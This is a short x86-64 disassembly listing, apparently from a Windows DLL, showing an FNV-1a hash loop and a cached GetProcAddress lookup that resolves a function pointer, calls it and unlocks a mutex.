movabs r10, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x1800037d0
mov r8, rdi
lea rdx, [rsp + 0x20]
call fcn.180004160
cmp qword [rax + 8], 0
je 0x18000380e
mov r8, rdi
lea rdx, [rsp + 0x30]
call fcn.180003b60
mov rcx, qword [rax]
cmp qword [rcx + 0x30], 0
jne 0x18000383f
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x18000381b
mov rdx, qword [rdi]
mov rcx, qword [0x1800a8d28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov r8, rdi
lea rdx, [rsp + 0x30]
call fcn.180003b60
mov rcx, qword [rax]
mov qword [rcx + 0x30], rbx
mov r8, rdi
lea rdx, [rsp + 0x30]
call fcn.180003b60
mov rcx, qword [rax]
cmp qword [rcx + 0x30], 0
je 0x180003887
mov r8, rdi
lea rdx, [rsp + 0x30]
call fcn.180003b60
mov rax, qword [rax]
mov rdx, qword [rax + 0x30]
mov rcx, r14
call rdx
mov rbx, rax
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rax, rbx
jmp 0x180003890
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret